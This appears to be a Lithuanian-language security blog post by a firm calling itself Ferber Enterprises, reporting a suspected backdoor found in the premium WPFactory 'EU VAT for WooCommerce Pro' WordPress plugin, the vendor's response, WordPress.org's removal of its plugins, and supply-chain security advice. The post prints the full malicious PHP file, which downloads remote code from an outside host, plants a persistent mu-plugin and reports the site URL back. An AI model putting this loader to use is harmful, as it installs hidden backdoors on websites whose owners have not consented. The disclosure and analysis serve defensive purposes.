Saugumo pažeidimas „WPFactory“: paviešinta 170 000 „WordPress“ svetainių

„WordPress“ išlieka plačiausiai pasaulyje naudojama turinio valdymo sistema, palaikanti daugiau nei 40 procentų visų interneto svetainių. Nuo mažų verslo svetainių ir asmeninių tinklaraščių iki didelių įmonių platformų ir el. komercijos infrastruktūros, ši CMS tapo modernaus žiniatinklio pagrindu. Jos populiarumas atsiranda dėl lankstumo, atviros ekosistemos ir didžiulio prieinamų papildomųjų modulių, skirtų jos funkcionalumui plėsti, skaičiaus.

Tačiau ši pati ekosistema tapo ir vienu didžiausių ’WordPress“ saugumo iššūkių.

„Ferber Enterprises“ kibernetinio saugumo komanda nuolat stebi grėsmes, kylančias „WordPress“ ekosistemai, nes įskiepių, šablonų ar tiekimo grandinių pažeidžiamumai gali greitai peraugti į didelio masto saugumo pažeidimus, paveikiančius tūkstančius svetainių visame pasaulyje. Pastaraisiais metais įsilaužėliai vis dažniau taiko įskiepių kūrėjus ir platinimo infrastruktūrą, o ne atskiras svetaines, todėl kenkėjiškas kodas gali plisti per patikimus programinės įrangos atnaujinimus ir oficialius atsisiuntimo kanalus.

Šią savaitę kilo didelis skandalas, susijęs su „WPFactory“ – žinomu „WordPress“ įskiepių kūrėju, kurio produktai yra įdiegti daugiau nei 170 000 svetainių visame pasaulyje. Daugiau nei 80 su šia įmone susijusių įskiepių buvo laikinai užblokuoti „WordPress.org“ svetainėje, kai mūsų „Ferber Enterprises“ kibernetinio saugumo komanda vieno iš jos įskiepių mokamoje versijoje aptiko įtariamą „backdoor“ programą.

Šis incidentas sukėlė didelį susirūpinimą visoje „WordPress“ bendruomenėje dėl programinės įrangos tiekimo grandinės saugumo, papildinių peržiūros procesų ir vis labiau sudėtingėjančių atakų prieš atvirojo kodo ekosistemą.

Neįprasto papildinio elgesio atradimas

Ši problema pirmą kartą paaiškėjo, kai mūsų kibernetinio saugumo komanda „Ferber Enterprises“ pastebėjo neįprastą elgesį, bandydama „EU VAT for WooCommerce Pro“ įskiepio „premium“ versiją, kuri platinama tiesiogiai iš oficialios svetainės.

Pradinis tyrimas prasidėjo po to, kai įdiegiant papildinį atsirado kritinė klaida. Trikdžių šalinimo metu mūsų analitikai aptiko įtartiną PHP failą, pavadintą class-alg-wc-eu-vat-customer.php. Atrodė, kad failas vykdė visiškai nesuderinamą su numatyta „WooCommerce VAT“ papildinio funkcionalumu veiklą.

<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Pagal mūsų analizę, kodas bandė:

• Atsisiųsti išorinį ZIP archyvą iš nutolusio serverio
• Modifikuoti „WordPress“ pagrindinius katalogus
• Bendrauti su išorine infrastruktūra
• Galimai vykdyti nuotolines programas paveiktose svetainėse

Šie rodikliai nedelsiant leido manyti galimą paslėptų įsilaužimo angų arba kenkėjiškos tiekimo grandinės kompromitavimo buvimą.

Ypač nerimą kėlė tai, kad šis papildinys nebuvo atsisiųstas iš neoficialaus veidrodinio serverio ar nelegalaus archyvo. Paketas buvo atsisiųstas tiesiogiai iš oficialaus „WPFactory“ klientų portalo, o tai sustiprino nuogąstavimus, kad galbūt buvo įsilaužta į patį platinimo kanalą.

„Ferber Enterprises“ komanda nedelsdama užfiksavo šį incidentą ir pradėjo atsakingo pranešimo procesą, tiesiogiai susisiekdama su „WPFactory“ per „GitHub“.

„WPFactory“ iš pradžių atsakė, kad ataskaitoje aprašytas įtartinas failas ir elgsena nepriklauso jų oficialiai kodų bazei.

Bendrovės atstovas pasiūlė kelis alternatyvius paaiškinimus, įskaitant:

• Modifikuota vietinė instaliacija
• Sugadinta svetainės aplinka
• Pasenusi papildinio versija
• Potencialiai suklastotas atsisiuntimo šaltinis

Bendrovė taip pat pareiškė, kad negalėjo saugiai patikrinti pateikto ZIP formato failo, nes jų naršyklė archyvą pažymėjo kaip galimai nesaugų.

Vėliau mūsų kibernetinio saugumo komanda paaiškino, kad šis papildinys buvo atsisiųstas tiesiai iš oficialios „WPFactory“ svetainės ir kad įtartinas failas išliko net ir atsisiuntus naują 4.6.1 versijos kopiją iš to paties šaltinio.

Ši aplinkybė tapo pagrindine tyrimo dalimi. Jei keliuose nepriklausomai vienas nuo kito atsisiųstuose failuose iš oficialaus platinimo kanalo nuolat buvo randamas tas pats įtartinas kodas, tikimybė, kad buvo įsilaužta į vietinę svetainę, tapo vis mažesnė. Nepaisant šių išvadų, „WPFactory“ iš pradžių teigė, kad jiems nepavyko atkurti šios problemos savo pusėje, ir tvirtino, kad oficialiame įskiepio pakete įtartino failo nebuvo.

Tuomet įmonė paprašė suteikti administratoriaus teises ir FTP prieigą prie paveiktos aplinkos, kad galėtų tęsti tyrimą. „Ferber Enterprises“ šį prašymą atmetėme dėl kibernetinio saugumo priežasčių. Privilegijuotos prieigos prie serverio suteikimas tiekėjui, kurio infrastruktūra pati galėjo būti pažeista, būtų sukėlęs nepriimtiną saugumo riziką. Vietoj to mūsų komanda toliau teikė techninius įrodymus, įskaitant vaizdo įrašą, kuriame matyti įtartinas įskiepio veikimas iškart po jo įdiegimo.

Tyrimui progresuojant, didėjo susirūpinimas dėl galimo problemos masto. „WPFactory“ valdo didelį įskiepių asortimentą, kurį sudaro daugiau nei 65 įskiepiai, kurių bendras aktyvių įdiegimų skaičius viršija 170 000. Todėl bet koks įsilaužimas, paveikęs bendrovės platinimo infrastruktūrą, galėtų turėti plačias pasekmes visoje „WordPress“ ekosistemoje.

Mūsų komanda šią problemą perdavė tiesiogiai „WordPress.org“, siekdama užkirsti kelią kitiems vartotojams įdiegti galimai užkrėstus paketus, kol tebevyksta tyrimas. Vėliau „WordPress.org“ ėmėsi išskirtinių priemonių ir laikinai pašalino daugiau nei 80 „WPFactory“ įskiepių iš oficialaus archyvo.

Šis žingsnis iš karto pritraukė visos „WordPress“ saugumo bendruomenės dėmesį, nes tokio masto masinis įskiepių uždarymas yra gana retas reiškinys ir paprastai rodo rimtas neišspręstas problemas. Situacijai paaštrėjus, „WPFactory“ vėliau pripažino, kad problema pasirodė esanti reali, ir atsiprašė už tai, kad nereagavo greičiau į pirminį pranešimą. Bendrovės atstovai pareiškė, kad jie aktyviai tiria šį klausimą ir stengiasi jį išspręsti. Viena iš „WPFactory“ viduje iškeltų hipotezių buvo ta, kad per jų infrastruktūrą galėjo būti netyčia pateiktas pasenęs arba į talpyklą įrašytas įskiepio paketas.

Tačiau mūsų kibernetinio saugumo komanda nesutiko su šiuo vertinimu. Stebimas elgesys aiškiai rodė rimtesnę saugumo problemą, galimai susijusią su pažeistomis kūrimo sistemomis, platinimo sistemomis arba neteisėtu kodų įterpimu į atsisiunčiamus papildinių archyvus.

Kodėl šis incidentas svarbus

„WPFactory“ skandalas atkreipia dėmesį į didėjančią kibernetinio saugumo grėsmę, žinomą kaip programinės įrangos tiekimo grandinės ataka. Anksčiau įsilaužėliai dažniausiai siekdavo tiesiogiai užgrobti atskiras svetaines, naudodami jėgos metodą arba išnaudodami įskiepių pažeidžiamumus. Šiandien kibernetiniai nusikaltėliai vis dažniau taiko savo išpuolius pačiams programinės įrangos tiekėjams, nes užgrobus patikimą tiekėją, kenkėjiškas kodas gali išplisti tūkstančiams svetainių vienu metu.

Ši strategija jau buvo pastebėta keliuose garsiuose kibernetinio saugumo incidentuose, turinčiuose įtakos pasaulinei programinės įrangos ekosistemai per pastarąjį dešimtmetį. Konkrečiai „WordPress“ ekosistemoje papildinių kūrėjai yra patrauklūs taikiniai, nes administratoriai iš esmės pasitiki papildiniais, o šie dažnai veikia su padidintomis teisėmis.

Jei į per oficialų kanalą platinamą įskiepio paketą įterpiamas kenkėjiškas kodas, paveiktos svetainės gali pačios, to nežinodamos, įdiegti kenkėjišką programinę įrangą. Įtartino įskiepio „WPFactory“ atveju galimos pasekmės yra rimtos.

Remiantis mūsų analize, nustatytas elgesys teoriškai leistų atakuotojams:

• Įdiekti papildomų kenkėjiškų programų
• Įterpti SEO šlamštą
• Sukurkite nuolatines užnugarius
• Ekstrahuoti neskelbtinus duomenis
• Modifikuoti WordPress diegimus nuotoliniu būdu
• Išlaikyti neteisėtą prieigą ilgą laiką

Tokių atakų pavojus slypi jų slaptume. Šiuolaikinės užkardos dažnai kuriamos taip, kad jos liktų nenaudojamos kelis mėnesius, prieš aktyvuojant, todėl jas aptikti tampa žymiai sunkiau. Šį mėnesį „WordPress Plugins Team“ pranešė uždariusi daugiau nei 30 papildinių, kai kitame papildinių portfelyje paslėptas kenkėjiškas kodas liko neaktyvus aštuonis mėnesius, kol galiausiai aktyvavosi ir į svetaines įterpė SEO šlamštą.

Ši tendencija rodo, kaip atakuotojai vis labiau prioritetą teikia atkaklumui ir uždelstam aktyvavimui, siekdami išvengti aptikimo mechanizmų.

WPFactory incidentas taip pat atskleidžia platesnio masto sistemines saugumo problemas, turinčias įtakos visai „WordPress“ platformai. Per pastarąjį dešimtmetį įskiepių ekosistema smarkiai išsiplėtė – tiek oficialiose, tiek komercinėse parduotuvėse dabar galima rasti dešimtis tūkstančių įskiepių. Nors ši ekosistema skatina naujoves ir lankstumą, ji taip pat smarkiai apsunkina saugumo priežiūrą.

Remiantis “Patchstack” ataskaita „WordPress saugumo būklė 2026 m.“, beveik 461 tūkst. žinomų pažeidžiamumų nebuvo ištaisyta iki jų viešo paskelbimo. Šis statistinis rodiklis atspindi didėjančią naštą, tenkančią įskiepių kūrėjams, saugumo tyrėjams ir saugyklų tvarkytojams.

Tuo pat metu, oficialus „WordPress“ papildinių peržiūros procesas, kaip pranešama, dabar viršija 4000 papildinių, laukiančių peržiūros. Tokie skaičiai iliustruoja didžiulį iššūkį užtikrinant kokybės kontrolę ir saugumo auditą dideliu mastu.

Daugelis įskiepių kūrėjų yra nedidelės komandos, turinčios ribotus saugumo išteklius. Kiti tuo pačiu metu valdo dešimtis įskiepių, įgyvendindami agresyvias komercines plėtros strategijas, apimančias įmonių įsigijimus ir produktų asortimento plėtrą. Pati „WPFactory“ neseniai išsiplėtė per įsigijimus, įskaitant „Extend-WP“ ir jos 19 įskiepių įsigijimą 2025 m., o vėliau tais pačiais metais – „WBW“ ir keleto kitų įskiepių įsigijimą.

Spartus portfelio plėtra gali sukelti operacinį sudėtingumą, apsunkinantį kodo auditavimą, infrastruktūros valdymą ir leidimų vientisumo patikrinimą. Atakuotojai puikiai žino šias realijas. Vis dažniau jie sutelkia dėmesį į silpnų operacinio saugumo praktikų, kurias naudoja programinės įrangos tiekėjai, išnaudojimą, o ne tiesioginį galutinių vartotojų taikymąsi.

Auganti tiekimo grandinės saugumo svarba

Tokie incidentai sustiprina būtinybę visoje „WordPress“ ekosistemoje taikyti griežtesnes tiekimo grandinės saugos praktikas.

„Ferber Enterprises“ kibernetinio saugumo komanda primygtinai rekomenduoja įskiepių kūrėjams įdiegti keletą pagrindinių apsaugos priemonių, tarp kurių:

• Kriptografinis paketų pasirašymas
• Saugi CI/CD sistemų eilutė
• Privalomas kelių veiksnių autentifikavimas
• Infrastruktūros segmentavimas
• Nuolatinis vientisumo stebėjimas
• Nepriklausomos kodų auditas
• Reproducible build systems

Svetainių administratoriai taip pat turėtų stiprinti savo saugumo pajėgumus. Net ir iš oficialių ar patikimų šaltinių atsisiunčiamų papildinių negalima laikyti savaime saugių.

Organizacijos, valdančios kritinės svarbos „WordPress“ infrastruktūrą, turėtų atsižvelgti į:

• Staging aplinkų palaikymas
• Išeinančio srauto stebėjimas
• Skelbiami plėtiniai prieš diegimą
• Ribojamas papildinių naudojimas
• Taikant mažiausių privilegijų prieigos valdiklius
• Failų vientisumo stebėjimo diegimas
• Naudodami valdomas interneto programų ugniasienes (WAF)

Įmonių aplinkoje tiekimo grandinės validavimas tampa toks pat svarbus kaip ir tradicinis pažeidžiamumo valdymas. Prielaida, kad oficialūs programinės įrangos kanalai visada yra saugūs, šiuolaikinėje grėsmių aplinkoje nebeatrodo reali.

Bendruomenės reakcijos ir tebesitęsiantis tyrimas

Ginčai greitai pasklido visoje „WordPress“ bendruomenėje, kai kūrėjai, saugumo tyrėjai ir infrastruktūros paslaugų teikėjai ėmė viešai aptarinėti šią problemą.

Keli gerai žinomi ekosistemos atstovai padidino informuotumą apie situaciją, įskaitant kūrėjus, kurie paskelbė laikinai uždarytų papildinių sąrašus ir paragino administratorius audituoti savo aplinkas.

Tuo tarpu mūsų komanda „Ferber Enterprises“ toliau analizuoja įtartinus įskiepių pavyzdžius ir stebi, ar neatsiranda naujų įsilaužimo požymių, kurie galėtų turėti įtakos „WordPress“ svetainėms visame pasaulyje.

Šio straipsnio paskelbimo metu bendrovė „WPFactory“ patvirtino šią problemą ir pareiškė, kad aktyviai dirba siekdama ją išspręsti.

Tačiau daug klausimų lieka neatsakytų:

• Ar buvo pažeista oficiali platinimo infrastruktūra?
• Kiek laiko potencialiai buvo platinami kenkėjiški paketai?
• Ar buvo paveikti papildomi įskiepiai?
• Ar buvo pažeistos klientų sąskaitos ar parsisiuntimo sistemos?
• Ar atakuotojai gavo nuolatinę prieigą prie vidinės infrastruktūros?
• Ar vis dar gali egzistuoti papildomos neveikiančios naudingosios apkrovos?

Kol šie klausimai nebus visiškai išspręsti, išliks būtinybė elgtis atsargiai.

WordPress saugumo ateitis

WPFactory incidentas galiausiai gali tapti dar vienu iškalbingu pavyzdžiu, iliustruojančiu kibernetinio saugumo iššūkius, su kuriais susiduria atvirojo kodo interneto ekosistema.

WordPress valdo didžiulę pasaulinės interneto ekonomikos dalį. Todėl bet koks didelio masto kompromisas, paveikiantis programų kūrėjus, gali turėti pasekmių, besitęsiančių gerokai toliau nei pavienės svetainės.

Kadangi įsilaužėliai vis dažniau naudoja tiekimo grandinės pažeidimus ir slaptas išlikimo technikas, įskiepių saugumas nebegali būti laikomas antraeiliu klausimu. „Ferber Enterprises“ manome, kad šis įvykis yra svarbus priminimas, jog kibernetinis saugumas apima ne tik pačių svetainių apsaugą, bet ir kiekvieno programinės įrangos platinimo grandinės lygmens saugumą.

Pasitikėjimas atviromis ekosistemomis priklauso nuo skaidrumo, greito reagavimo į incidentus ir tvirtų operacinio saugumo praktikų. „WordPress“ ekosistema dabar susidūrė su svarbiu momentu.

Tai, kaip kūrėjai, saugyklų prižiūrėtojai, prieglobos paslaugų teikėjai ir saugos komandos reaguos į tokius incidentus, padės nustatyti, ar „WordPress“ galės ir toliau išlaikyti milijonų kasdien juo pasitikinčių įmonių ir organizacijų pasitikėjimą.